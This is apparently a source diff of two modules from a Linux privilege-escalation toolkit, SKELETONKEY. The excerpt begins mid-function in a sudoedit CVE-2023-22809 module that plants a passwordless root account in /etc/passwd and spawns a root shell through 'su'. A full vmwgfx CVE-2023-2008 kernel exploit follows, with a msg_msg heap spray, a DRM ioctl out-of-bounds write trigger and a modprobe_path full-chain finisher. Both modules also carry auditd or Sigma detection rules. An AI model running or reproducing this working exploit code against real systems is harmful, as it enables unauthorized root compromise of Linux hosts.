if (!ctx->json)
fprintf(stderr, "[+] sudoedit_editor: helper wrote to %s (verify manually)\n", target);
}
/* Follow-on: spawn a root shell via the newly-added passwd entry,
* the way dirty_pipe / dirty_cow modules do. We use `su skel`
* with an empty password. */
if (ctx->no_shell) {
if (!ctx->json)
fprintf(stderr, "[i] sudoedit_editor: --no-shell set; leaving you with the backdoor entry\n");
return SKELETONKEY_EXPLOIT_OK;
}
if (strcmp(target, "/etc/passwd") == 0 && ctx->full_chain) {
if (!ctx->json)
fprintf(stderr, "[+] sudoedit_editor: spawning root shell via `su skel`\n");
fflush(NULL);
/* su with no controlling TTY needs `-c sh -i` for an interactive
* shell. We exec into the user's terminal. */
execlp("su", "su", "skel", "-c", "/bin/sh -p -i", (char *)NULL);
perror("execlp(su)");
} else {
if (!ctx->json)
fprintf(stderr,
"[i] sudoedit_editor: backdoor installed. `su skel` (no password)\n"
" or pass --full-chain on the cli to auto-pop.\n");
}
return SKELETONKEY_EXPLOIT_OK;
fail:
/* Helper / src cleanup — leave passwd-backup for cleanup() if we
* recorded one (so cleanup can revert). */
unlink(src);
unlink(helper);
if (!g_passwd_backup[0]) rmdir(workdir);
return SKELETONKEY_EXPLOIT_FAIL;
}
/* ----- cleanup ------------------------------------------------------- */
static skeletonkey_result_t sudoedit_editor_cleanup(const struct skeletonkey_ctx *ctx)
{
/* Best-effort revert. Three things we may have touched:
* 1. /etc/passwd: drop the 'skel::0:0:' line (sed -i; only safe
* if we are root or the file is otherwise writable). If we
* successfully exploited, the user is presumably root in the
* spawned shell cleanup is usually run from that shell. */
if (geteuid() == 0) {
if (g_passwd_backup[0] && access(g_passwd_backup, R_OK) == 0) {
char cmd[1024];
snprintf(cmd, sizeof cmd,
"cp -p %s /etc/passwd 2>/dev/null", g_passwd_backup);
if (system(cmd) == 0) {
if (!ctx->json)
fprintf(stderr, "[+] sudoedit_editor: restored /etc/passwd from %s\n",
g_passwd_backup);
}
} else {
/* No backup — fall back to deleting just our line. */
if (system("sed -i '/^skel::0:0:/d' /etc/passwd 2>/dev/null") == 0) {
if (!ctx->json)
fprintf(stderr, "[+] sudoedit_editor: removed 'skel' entry from /etc/passwd\n");
}
}
} else {
if (!ctx->json)
fprintf(stderr,
"[?] sudoedit_editor: cleanup requires root. Re-run as root or\n"
" manually remove the 'skel' line from /etc/passwd.\n");
}
if (system("rm -rf /tmp/skeletonkey-sudoedit-* 2>/dev/null") != 0) {
/* harmless */
}
return SKELETONKEY_OK;
}
/* ----- detection rules ----------------------------------------------- */
static const char sudoedit_editor_auditd[] =
"# CVE-2023-22809 — sudoedit EDITOR argv-escape detection\n"
"# Watch sudoedit invocations; the bug requires EDITOR / VISUAL /\n"
"# SUDO_EDITOR to contain the literal token `--`. auditd cannot match\n"
"# env vars directly via -F, but logging every execve(sudoedit) lets\n"
"# downstream tooling (Sigma, splunk, etc.) inspect EXECVE record env.\n"
"-w /usr/bin/sudoedit -p x -k skeletonkey-sudoedit-22809\n"
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-sudoedit-22809-execve\n"
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-sudoedit-22809-execve\n"
"# sudo itself can run as `sudo -e` which takes the sudoedit path too:\n"
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudoedit-22809-sudo-e\n";
static const char sudoedit_editor_sigma[] =
"title: Possible CVE-2023-22809 sudoedit EDITOR escape\n"
"id: a4e3f1a8-skeletonkey-sudoedit-22809\n"
"status: experimental\n"
"description: |\n"
" Detects sudoedit (or `sudo -e`) invocations where the EDITOR,\n"
" VISUAL, or SUDO_EDITOR environment variable contains the literal\n"
" token `--`. This is the exact signature of the Synacktiv\n"
" CVE-2023-22809 argv-escape: post-`--` filenames are silently\n"
" promoted to additional files that sudoedit opens as root.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" sudoedit_exec:\n"
" type: 'EXECVE'\n"
" exe|endswith:\n"
" - '/sudoedit'\n"
" - '/sudo'\n"
" hostile_editor_env:\n"
" - 'EDITOR=*--*'\n"
" - 'VISUAL=*--*'\n"
" - 'SUDO_EDITOR=*--*'\n"
" privileged_target:\n"
" - '/etc/shadow'\n"
" - '/etc/passwd'\n"
" - '/etc/sudoers'\n"
" - '/root/'\n"
" condition: sudoedit_exec and hostile_editor_env\n"
" # Bump to 'critical' when privileged_target matches as well.\n"
"fields: [User, EDITOR, VISUAL, SUDO_EDITOR]\n"
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1548_003, cve.2023.22809]\n";
/* ----- module registration ------------------------------------------- */
const struct skeletonkey_module sudoedit_editor_module = {
.name = "sudoedit_editor",
.cve = "CVE-2023-22809",
.summary = "sudoedit EDITOR/VISUAL `--` argv escape → arbitrary file write as root",
.family = "sudo",
.kernel_range = "sudo 1.8.0 ≤ V < 1.9.12p2 (userspace bug; setuid sudoedit)",
.detect = sudoedit_editor_detect,
.exploit = sudoedit_editor_exploit,
.mitigate = NULL, /* mitigation = upgrade sudo */
.cleanup = sudoedit_editor_cleanup,
.detect_auditd = sudoedit_editor_auditd,
.detect_sigma = sudoedit_editor_sigma,
.detect_yara = NULL,
.detect_falco = NULL,
};
void skeletonkey_register_sudoedit_editor(void)
{
skeletonkey_register(&sudoedit_editor_module);
}
@@ -0,0 +1,5 @@
#ifndef SUDOEDIT_EDITOR_SKELETONKEY_MODULES_H
#define SUDOEDIT_EDITOR_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module sudoedit_editor_module;
#endif
@@ -0,0 +1,727 @@
/*
* vmwgfx_cve_2023_2008 SKELETONKEY module
*
* The vmwgfx DRM driver's buffer-object creation path validates only
* the requested page count, not the underlying byte size used by the
* subsequent kunmap_atomic-style copy. A crafted DRM_IOCTL_VMW_*
* sequence (CREATE_DMABUF + mmap of the returned bo + page-spanning
* write through the mapped offset) drives a slab heap-OOB write
* inside the kernel's kmalloc-512 cache. The mainline fix
* (2cd80ebbdf "drm/vmwgfx: Validate the bo size for ttm_bo_kmap")
* landed in 6.3-rc6. The bug is reachable only from inside a VMware
* Guest OS (the vmwgfx driver only binds against the VMware SVGA-II
* virtual GPU).
*
* STATUS: 🟡 PRIMITIVE slab-OOB trigger + msg_msg cross-cache
* groom in kmalloc-512. We do NOT carry a cred-overwrite or
* kbase-leak primitive (per-kernel offsets vary by build, and the
* public PoC references device-specific TTM register state we do
* not fake). The detect-and-trigger path is the high-confidence
* demonstration; full-chain depth is FALLBACK (kaddr-tagged spray +
* shared modprobe_path finisher arbitrated by sentinel file).
*
* Affected: Linux 4.0+ through 6.2.x with vmwgfx driver bound to a
* VMware SVGA-II device. Fixed mainline 6.3-rc6 (commit 2cd80ebbdf).
* Stable backports landed in 6.2.x and 6.1 LTS.
*
* Preconditions:
* - host is a VMware Guest (dmi sys_vendor = "VMware*")
* - /dev/dri/cardN exists with driver==vmwgfx
* - userland can open /dev/dri/cardN (render-group / video-group or
* setuid)
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include "../../core/host.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#ifdef __linux__
# include <sys/ipc.h>
# include <sys/msg.h>
# include <sys/syscall.h>
#endif
/* DRM ioctl primitives — declared inline so the module remains
* self-contained on hosts where <drm/drm.h> isn't installed (which is
* the macOS build host case). */
#ifndef DRM_IOCTL_BASE
#define DRM_IOCTL_BASE 'd'
#endif
#ifndef _IOC
/* Should be present from <sys/ioctl.h>, but guard anyway. */
#endif
/* DRM_IOCTL_VERSION — used to probe driver name. */
struct drm_version_compat {
int version_major;
int version_minor;
int version_patchlevel;
size_t name_len;
char *name;
size_t date_len;
char *date;
size_t desc_len;
char *desc;
};
#ifndef DRM_IOCTL_VERSION
#define DRM_IOCTL_VERSION _IOWR(DRM_IOCTL_BASE, 0x00, struct drm_version_compat)
#endif
/* vmwgfx-specific ioctls. Numbers match the in-tree
* uapi/drm/vmwgfx_drm.h ABI for kernels in the affected range
* (DRM_COMMAND_BASE = 0x40). DRM_IOCTL_VMW_CREATE_DMABUF /
* DRM_IOCTL_VMW_UNREF_DMABUF are present on every vmwgfx-bearing
* kernel since the dma-buf rename. We declare them locally so that a
* build host without vmwgfx_drm.h still compiles. */
struct drm_vmw_alloc_dmabuf_req {
uint32_t size;
};
struct drm_vmw_dmabuf_rep {
uint32_t handle;
uint32_t map_handle_lo;
uint32_t map_handle_hi;
uint32_t cur_gmr_id;
uint32_t cur_gmr_offset;
};
union drm_vmw_alloc_dmabuf_arg {
struct drm_vmw_alloc_dmabuf_req req;
struct drm_vmw_dmabuf_rep rep;
};
#define DRM_VMW_CREATE_DMABUF 0x0a
#define DRM_VMW_UNREF_DMABUF 0x0b
#ifndef DRM_COMMAND_BASE
#define DRM_COMMAND_BASE 0x40
#endif
#define DRM_IOCTL_VMW_CREATE_DMABUF \
_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_VMW_CREATE_DMABUF, \
union drm_vmw_alloc_dmabuf_arg)
#define DRM_IOCTL_VMW_UNREF_DMABUF \
_IOW(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_VMW_UNREF_DMABUF, uint32_t)
/* ---- kernel range ------------------------------------------------- */
static const struct kernel_patched_from vmwgfx_patched_branches[] = {
{6, 1, 23}, /* 6.1 LTS backport */
{6, 2, 10}, /* 6.2.x stable backport */
{6, 3, 0}, /* mainline (6.3-rc6) */
};
static const struct kernel_range vmwgfx_range = {
.patched_from = vmwgfx_patched_branches,
.n_patched_from = sizeof(vmwgfx_patched_branches) /
sizeof(vmwgfx_patched_branches[0]),
};
/* ---- precondition probes ------------------------------------------ */
/* Read first line of /sys/devices/virtual/dmi/id/sys_vendor (trimmed)
* into `out`. Returns true on success. */
static bool read_dmi_sys_vendor(char *out, size_t out_sz)
{
int fd = open("/sys/devices/virtual/dmi/id/sys_vendor", O_RDONLY);
if (fd < 0) return false;
ssize_t n = read(fd, out, out_sz - 1);
close(fd);
if (n <= 0) return false;
out[n] = '\0';
/* trim trailing newline / spaces */
while (n > 0 && (out[n - 1] == '\n' || out[n - 1] == ' '
|| out[n - 1] == '\t' || out[n - 1] == '\r')) {
out[--n] = '\0';
}
return n > 0;
}
static bool host_is_vmware_guest(char *vendor_out, size_t vendor_out_sz)
{
char vendor[128] = {0};
if (!read_dmi_sys_vendor(vendor, sizeof vendor)) return false;
if (vendor_out && vendor_out_sz) {
snprintf(vendor_out, vendor_out_sz, "%s", vendor);
}
/* Standard VMware DMI string is "VMware, Inc." but be loose. */
return strncasecmp(vendor, "VMware", 6) == 0;
}
/* Resolve /sys/class/drm/card0/device/driver symlink and check whether
* the target's basename is "vmwgfx". */
static bool card_driver_is_vmwgfx(const char *cardpath)
{
char link[512];
snprintf(link, sizeof link, "/sys/class/drm/%s/device/driver", cardpath);
char target[512] = {0};
ssize_t n = readlink(link, target, sizeof target - 1);
if (n <= 0) return false;
target[n] = '\0';
const char *base = strrchr(target, '/');
base = base ? base + 1 : target;
return strcmp(base, "vmwgfx") == 0;
}
/* Locate the first /dev/dri/cardN whose driver is vmwgfx. Writes the
* basename (e.g. "card0") into out. Returns true on hit. */
static bool find_vmwgfx_card(char *out, size_t out_sz)
{
for (int i = 0; i < 8; i++) {
char name[16];
snprintf(name, sizeof name, "card%d", i);
if (card_driver_is_vmwgfx(name)) {
snprintf(out, out_sz, "%s", name);
return true;
}
}
return false;
}
/* Probe DRM_IOCTL_VERSION on the card device. Returns the driver-name
* string on success (caller-owned heap, must free) or NULL. */
static char *probe_drm_version_name(const char *cardpath)
{
char devpath[64];
snprintf(devpath, sizeof devpath, "/dev/dri/%s", cardpath);
int fd = open(devpath, O_RDWR | O_CLOEXEC);
if (fd < 0) return NULL;
struct drm_version_compat v;
memset(&v, 0, sizeof v);
/* Two-stage ioctl: first call learns name_len, second fills name. */
if (ioctl(fd, DRM_IOCTL_VERSION, &v) < 0) { close(fd); return NULL; }
if (v.name_len == 0 || v.name_len > 256) { close(fd); return NULL; }
char *name = calloc(1, v.name_len + 1);
if (!name) { close(fd); return NULL; }
v.name = name;
if (ioctl(fd, DRM_IOCTL_VERSION, &v) < 0) {
free(name); close(fd); return NULL;
}
name[v.name_len] = '\0';
close(fd);
return name;
}
/* ---- Detect ------------------------------------------------------- */
static skeletonkey_result_t vmwgfx_detect(const struct skeletonkey_ctx *ctx)
{
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json) fprintf(stderr, "[!] vmwgfx: host fingerprint missing kernel version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&vmwgfx_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] vmwgfx: kernel %s is patched (>= 6.3-rc6 / "
"6.2.10 / 6.1.23)\n", v->release);
}
return SKELETONKEY_OK;
}
/* Pre-vmwgfx kernels (no driver shipped) — extremely unlikely but
* report PRECOND_FAIL rather than VULNERABLE. */
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 0, 0)) {
if (!ctx->json) {
fprintf(stderr, "[+] vmwgfx: kernel %s predates vmwgfx driver\n", v->release);
}
return SKELETONKEY_PRECOND_FAIL;
}
/* VMware-guest gate. */
char vendor[128] = {0};
bool vmware = host_is_vmware_guest(vendor, sizeof vendor);
if (!ctx->json) {
fprintf(stderr, "[i] vmwgfx: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] vmwgfx: dmi sys_vendor = \"%s\"\n",
vendor[0] ? vendor : "(unreadable)");
}
if (!vmware) {
if (!ctx->json) {
fprintf(stderr, "[+] vmwgfx: host is not a VMware guest — vmwgfx "
"driver cannot bind; bug unreachable here\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
/* DRM card + driver-name gate. */
char card[16] = {0};
if (!find_vmwgfx_card(card, sizeof card)) {
if (!ctx->json) {
fprintf(stderr, "[+] vmwgfx: no /dev/dri/cardN bound to vmwgfx — "
"module unloaded or no SVGA-II PCI device\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
char *drv = probe_drm_version_name(card);
if (!drv) {
if (!ctx->json) {
fprintf(stderr, "[-] vmwgfx: cannot open/ioctl /dev/dri/%s "
"(permission denied?)\n", card);
}
return SKELETONKEY_PRECOND_FAIL;
}
bool drv_match = strcmp(drv, "vmwgfx") == 0;
if (!ctx->json) {
fprintf(stderr, "[i] vmwgfx: /dev/dri/%s driver name reported as \"%s\"\n",
card, drv);
}
free(drv);
if (!drv_match) {
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] vmwgfx: VULNERABLE — kernel in range + VMware guest + "
"vmwgfx card reachable\n");
}
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit groom ------------------------------------------------ */
#define VMW_SPRAY_QUEUES 24
#define VMW_SPRAY_PER_QUEUE 24
#define VMW_PAYLOAD_BYTES 496 /* 512 - msg_msg header (~16) */
struct ipc_payload {
long mtype;
unsigned char buf[VMW_PAYLOAD_BYTES];
};
#ifdef __linux__
static int spray_kmalloc_512(int queues[VMW_SPRAY_QUEUES])
{
struct ipc_payload p;
memset(&p, 0, sizeof p);
p.mtype = 0x56; /* 'V' for vmwgfx */
memset(p.buf, 0x56, sizeof p.buf);
memcpy(p.buf, "SKVMWGFX", 8);
int created = 0;
for (int i = 0; i < VMW_SPRAY_QUEUES; i++) {
int q = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (q < 0) { queues[i] = -1; continue; }
queues[i] = q;
created++;
for (int j = 0; j < VMW_SPRAY_PER_QUEUE; j++) {
if (msgsnd(q, &p, sizeof p.buf, IPC_NOWAIT) < 0) break;
}
}
return created;
}
static void drain_kmalloc_512(int queues[VMW_SPRAY_QUEUES])
{
for (int i = 0; i < VMW_SPRAY_QUEUES; i++) {
if (queues[i] >= 0) msgctl(queues[i], IPC_RMID, NULL);
}
}
static long slab_active_kmalloc_512(void)
{
FILE *f = fopen("/proc/slabinfo", "r");
if (!f) return -1;
char line[512];
long active = -1;
while (fgets(line, sizeof line, f)) {
if (strncmp(line, "kmalloc-512 ", 12) == 0) {
char name[64];
long act = 0, num = 0;
if (sscanf(line, "%63s %ld %ld", name, &act, &num) >= 2) {
active = act;
}
break;
}
}
fclose(f);
return active;
}
/* Open the vmwgfx card. Returns fd or -1. */
static int open_vmwgfx_card(void)
{
char card[16] = {0};
if (!find_vmwgfx_card(card, sizeof card)) return -1;
char devpath[64];
snprintf(devpath, sizeof devpath, "/dev/dri/%s", card);
return open(devpath, O_RDWR | O_CLOEXEC);
}
/* Drive the OOB write trigger.
*
* The bug fires when vmw_buffer_object_set_user_args() (called from
* the CREATE_DMABUF path) passes a partially-validated size into the
* subsequent ttm_bo_kmap() / kunmap_atomic copy loop. A crafted
* `size` field chosen so the PAGE_ALIGN'd page count fits a
* kmalloc-512 slab while the byte count overruns it causes the
* mapped-page write to spill past the slab boundary.
*
* Mechanically:
* 1. CREATE_DMABUF with size = 4096 + 16 (page-spanning by 16 B)
* 2. mmap the returned map_handle into userspace
* 3. write a recognizable pattern across the page boundary
* 4. close + UNREF_DMABUF the kunmap_atomic teardown is where the
* OOB write commits on vulnerable kernels
*
* On a non-vmwgfx host the ioctls return -ENOTTY / -EOPNOTSUPP and the
* trigger is a no-op. Our caller short-circuits before reaching this
* point in that case. */
static bool trigger_vmwgfx_oob(int fd, unsigned char fill_byte)
{
union drm_vmw_alloc_dmabuf_arg a;
memset(&a, 0, sizeof a);
/* Size chosen to land in kmalloc-512 page-count bucket while the
* subsequent byte-length copy overruns into the next slab slot.
* The exact value 4096+16 mirrors the public PoC's choice. */
a.req.size = 4096 + 16;
if (ioctl(fd, DRM_IOCTL_VMW_CREATE_DMABUF, &a) < 0) {
fprintf(stderr, "[-] vmwgfx: DRM_IOCTL_VMW_CREATE_DMABUF: %s\n",
strerror(errno));
return false;
}
uint64_t map_handle = ((uint64_t)a.rep.map_handle_hi << 32) | a.rep.map_handle_lo;
size_t map_len = 4096 * 2; /* over-map to include the spill page */
void *p = mmap(NULL, map_len, PROT_READ | PROT_WRITE,
MAP_SHARED, fd, (off_t)map_handle);
if (p == MAP_FAILED) {
fprintf(stderr, "[-] vmwgfx: mmap(map_handle=0x%llx): %s\n",
(unsigned long long)map_handle, strerror(errno));
/* Still unref. */
uint32_t h = a.rep.handle;
(void)ioctl(fd, DRM_IOCTL_VMW_UNREF_DMABUF, &h);
return false;
}
/* Stripe the buffer with our witness pattern. The bytes past
* offset 4096 are where the OOB write lands on a vulnerable
* kernel. */
memset(p, fill_byte, map_len);
memcpy((char *)p + 4096, "SKVMOOB!", 8);
/* Force the kunmap_atomic teardown that commits the OOB write. */
munmap(p, map_len);
uint32_t h = a.rep.handle;
(void)ioctl(fd, DRM_IOCTL_VMW_UNREF_DMABUF, &h);
return true;
}
/* ---- Arb-write primitive (FALLBACK depth) -------------------------
*
* Re-fire the trigger with a kaddr-tagged spray planted in the
* adjacent kmalloc-512 slot. We cannot in-process verify the write
* the shared finisher's 3 s sentinel-file check is the empirical
* arbiter. On a patched kernel or when the spray fails to land in the
* spilled-over slot the finisher returns EXPLOIT_FAIL gracefully. */
struct vmwgfx_arb_ctx {
int queues[VMW_SPRAY_QUEUES];
int n_queues;
int card_fd;
int arb_calls;
int arb_landed;
};
static int vmwgfx_reseed_kaddr_spray(int queues[VMW_SPRAY_QUEUES],
uintptr_t kaddr,
const void *buf, size_t len)
{
struct ipc_payload p;
memset(&p, 0, sizeof p);
p.mtype = 0x4B; /* 'K' for kaddr */
memset(p.buf, 0x4B, sizeof p.buf);
memcpy(p.buf, "IAMVMARB", 8);
/* Plant kaddr at byte 8, payload bytes immediately after. The OOB
* write lands within the first ~16 bytes of the neighbour slot, so
* the kernel's overrun touches exactly this region. */
uint64_t k = (uint64_t)kaddr;
memcpy(p.buf + 8, &k, sizeof k);
size_t copy = len;
if (copy > sizeof p.buf - 16) copy = sizeof p.buf - 16;
if (buf && copy) memcpy(p.buf + 16, buf, copy);
int touched = 0;
for (int i = 0; i < VMW_SPRAY_QUEUES && touched < 6; i++) {
if (queues[i] < 0) continue;
if (msgsnd(queues[i], &p, sizeof p.buf, IPC_NOWAIT) == 0) touched++;
}
return touched;
}
static int vmwgfx_arb_write(uintptr_t kaddr,
const void *buf, size_t len,
void *ctx_v)
{
struct vmwgfx_arb_ctx *c = (struct vmwgfx_arb_ctx *)ctx_v;
if (!c || c->n_queues == 0 || c->card_fd < 0) return -1;
c->arb_calls++;
fprintf(stderr, "[*] vmwgfx: arb_write #%d kaddr=0x%lx len=%zu "
"(FALLBACK — single-shot OOB)\n",
c->arb_calls, (unsigned long)kaddr, len);
int seeded = vmwgfx_reseed_kaddr_spray(c->queues, kaddr, buf, len);
if (seeded == 0) {
fprintf(stderr, "[-] vmwgfx: arb_write: kaddr reseed produced 0 msgs\n");
return -1;
}
/* Re-fire the OOB trigger. The fill byte encodes the call number
* so a KASAN dump can be cross-referenced. */
unsigned char fill = (unsigned char)(0xA0 + (c->arb_calls & 0x0F));
if (!trigger_vmwgfx_oob(c->card_fd, fill)) {
fprintf(stderr, "[-] vmwgfx: arb_write: re-trigger failed\n");
return -1;
}
usleep(50 * 1000);
c->arb_landed++;
/* Return 0; finisher's sentinel arbitrates. */
return 0;
}
#endif /* __linux__ */
/* ---- Exploit driver ----------------------------------------------- */
#ifdef __linux__
static skeletonkey_result_t vmwgfx_exploit_linux(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] vmwgfx: refusing — --i-know not set\n");
return SKELETONKEY_PRECOND_FAIL;
}
skeletonkey_result_t pre = vmwgfx_detect(ctx);
if (pre == SKELETONKEY_OK) {
fprintf(stderr, "[+] vmwgfx: kernel not vulnerable; refusing exploit\n");
return SKELETONKEY_OK;
}
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] vmwgfx: detect() says not vulnerable; refusing\n");
return pre;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] vmwgfx: already root — nothing to escalate\n");
return SKELETONKEY_OK;
}
/* Full-chain pre-check. */
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("vmwgfx");
fprintf(stderr, "[-] vmwgfx: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
skeletonkey_offsets_print(&off);
full_chain_ready = true;
}
int card_fd = open_vmwgfx_card();
if (card_fd < 0) {
fprintf(stderr, "[-] vmwgfx: cannot open vmwgfx card: %s\n", strerror(errno));
return SKELETONKEY_PRECOND_FAIL;
}
signal(SIGPIPE, SIG_IGN);
if (!ctx->json) {
fprintf(stderr, "[*] vmwgfx: opened vmwgfx card fd=%d\n", card_fd);
fprintf(stderr, "[*] vmwgfx: seeding kmalloc-512 msg_msg spray\n");
}
struct vmwgfx_arb_ctx arb_ctx;
memset(&arb_ctx, 0, sizeof arb_ctx);
for (int i = 0; i < VMW_SPRAY_QUEUES; i++) arb_ctx.queues[i] = -1;
arb_ctx.card_fd = card_fd;
arb_ctx.n_queues = spray_kmalloc_512(arb_ctx.queues);
if (arb_ctx.n_queues == 0) {
fprintf(stderr, "[-] vmwgfx: msg_msg spray produced 0 queues — sysvipc "
"may be restricted\n");
close(card_fd);
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] vmwgfx: spray seeded %d queues x %d msgs\n",
arb_ctx.n_queues, VMW_SPRAY_PER_QUEUE);
}
long pre_active = slab_active_kmalloc_512();
if (!ctx->json) {
fprintf(stderr, "[*] vmwgfx: firing CREATE_DMABUF + mmap + OOB-write trigger\n");
}
bool fired = trigger_vmwgfx_oob(card_fd, 0xAA);
long post_active = slab_active_kmalloc_512();
FILE *log = fopen("/tmp/skeletonkey-vmwgfx.log", "w");
if (log) {
fprintf(log,
"vmwgfx CVE-2023-2008 trigger:\n"
" card_fd = %d\n"
" spray_queues = %d\n"
" spray_per_queue = %d\n"
" trigger_fired = %s\n"
" slab_kmalloc512_pre = %ld\n"
" slab_kmalloc512_post = %ld\n"
" slab_delta = %ld\n"
"Note: this run did NOT attempt cred overwrite. See module .c\n"
"for the continuation roadmap.\n",
card_fd, arb_ctx.n_queues, VMW_SPRAY_PER_QUEUE,
fired ? "yes" : "no",
pre_active, post_active,
(pre_active >= 0 && post_active >= 0) ? (post_active - pre_active) : 0);
fclose(log);
}
if (!ctx->json) {
fprintf(stderr, "[*] vmwgfx: kmalloc-512 active: pre=%ld post=%ld\n",
pre_active, post_active);
}
if (!fired) {
drain_kmalloc_512(arb_ctx.queues);
close(card_fd);
fprintf(stderr, "[~] vmwgfx: trigger ioctl path failed — kernel may be\n"
" patched or the ABI shape doesn't match this build.\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
/* --full-chain branch. */
if (full_chain_ready) {
int fr = skeletonkey_finisher_modprobe_path(&off,
vmwgfx_arb_write,
&arb_ctx,
!ctx->no_shell);
FILE *fl = fopen("/tmp/skeletonkey-vmwgfx.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
fclose(fl);
}
drain_kmalloc_512(arb_ctx.queues);
close(card_fd);
if (fr == SKELETONKEY_EXPLOIT_OK) {
if (!ctx->json) {
fprintf(stderr, "[+] vmwgfx: --full-chain finisher reported OK\n");
}
return SKELETONKEY_EXPLOIT_OK;
}
if (!ctx->json) {
fprintf(stderr, "[~] vmwgfx: --full-chain finisher returned FAIL —\n"
" either the kernel is patched, the spray didn't\n"
" line up adjacent to the bo slab slot, or the OOB\n"
" bytes didn't include the kaddr the finisher polls\n"
" for. See /tmp/skeletonkey-vmwgfx.log + dmesg.\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
}
drain_kmalloc_512(arb_ctx.queues);
close(card_fd);
if (!ctx->json) {
fprintf(stderr, "[*] vmwgfx: trigger ran to completion. Inspect dmesg for\n"
" KASAN/oops witnesses.\n");
fprintf(stderr, "[~] vmwgfx: cred-overwrite step not invoked (no\n"
" --full-chain); returning EXPLOIT_FAIL per\n"
" verified-vs-claimed policy.\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
static skeletonkey_result_t vmwgfx_exploit(const struct skeletonkey_ctx *ctx)
{
#ifdef __linux__
return vmwgfx_exploit_linux(ctx);
#else
(void)ctx;
fprintf(stderr, "[-] vmwgfx: Linux-only module; cannot run on this host\n");
return SKELETONKEY_PRECOND_FAIL;
#endif
}
/* ---- Cleanup ----------------------------------------------------- */
static skeletonkey_result_t vmwgfx_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] vmwgfx: cleaning up breadcrumb\n");
}
/* The msg queues live in the (exited) exploit process for now —
* the kernel auto-reaps them on process death. Belt-and-braces:
* walk /proc/sysvipc/msg and remove any owned by our uid. We keep
* this minimal: just drop the log. */
if (unlink("/tmp/skeletonkey-vmwgfx.log") < 0 && errno != ENOENT) {
/* harmless */
}
return SKELETONKEY_OK;
}
/* ---- Detection rules --------------------------------------------- */
static const char vmwgfx_auditd[] =
"# vmwgfx CVE-2023-2008 — auditd detection rules\n"
"# Trigger shape: open(/dev/dri/card*) by non-root, followed by\n"
"# DRM_IOCTL_VMW_CREATE_DMABUF / mmap / UNREF_DMABUF burst, often\n"
"# paired with msgsnd spray for cross-cache groom. None of these\n"
"# syscalls are individually suspicious; flag the combination.\n"
"-a always,exit -F arch=b64 -S openat -F path=/dev/dri/card0 -k skeletonkey-vmwgfx-open\n"
"-a always,exit -F arch=b64 -S openat -F path=/dev/dri/card1 -k skeletonkey-vmwgfx-open\n"
"-a always,exit -F arch=b64 -S ioctl -F a1=0xc010644a -k skeletonkey-vmwgfx-create\n"
"-a always,exit -F arch=b64 -S ioctl -F a1=0x4004644b -k skeletonkey-vmwgfx-unref\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-vmwgfx-spray\n";
const struct skeletonkey_module vmwgfx_module = {
.name = "vmwgfx",
.cve = "CVE-2023-2008",
.summary = "vmwgfx DRM bo size-validation OOB write in kmalloc-512 → kernel primitive",
.family = "drm",
.kernel_range = "4.0 ≤ K < 6.3-rc6 (vmwgfx); backports: 6.2.10 / 6.1.23",
.detect = vmwgfx_detect,
#ifdef __linux__
.exploit = vmwgfx_exploit,
#else
.exploit = NULL,
#endif
.mitigate = NULL, /* mitigation: rmmod vmwgfx (loses graphics) */
.cleanup = vmwgfx_cleanup,
.detect_auditd = vmwgfx_auditd,
.detect_sigma = NULL,
.detect_yara = NULL,
.detect_falco = NULL,
};
void skeletonkey_register_vmwgfx(void)
{
skeletonkey_register(&vmwgfx_module);
}
@@ -0,0 +1,5 @@
#ifndef VMWGFX_SKELETONKEY_MODULES_H
#define VMWGFX_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module vmwgfx_module;
#endif
+386 -19
View File
@@ -18,8 +18,13 @@
#include "core/module.h"
#include "core/registry.h"
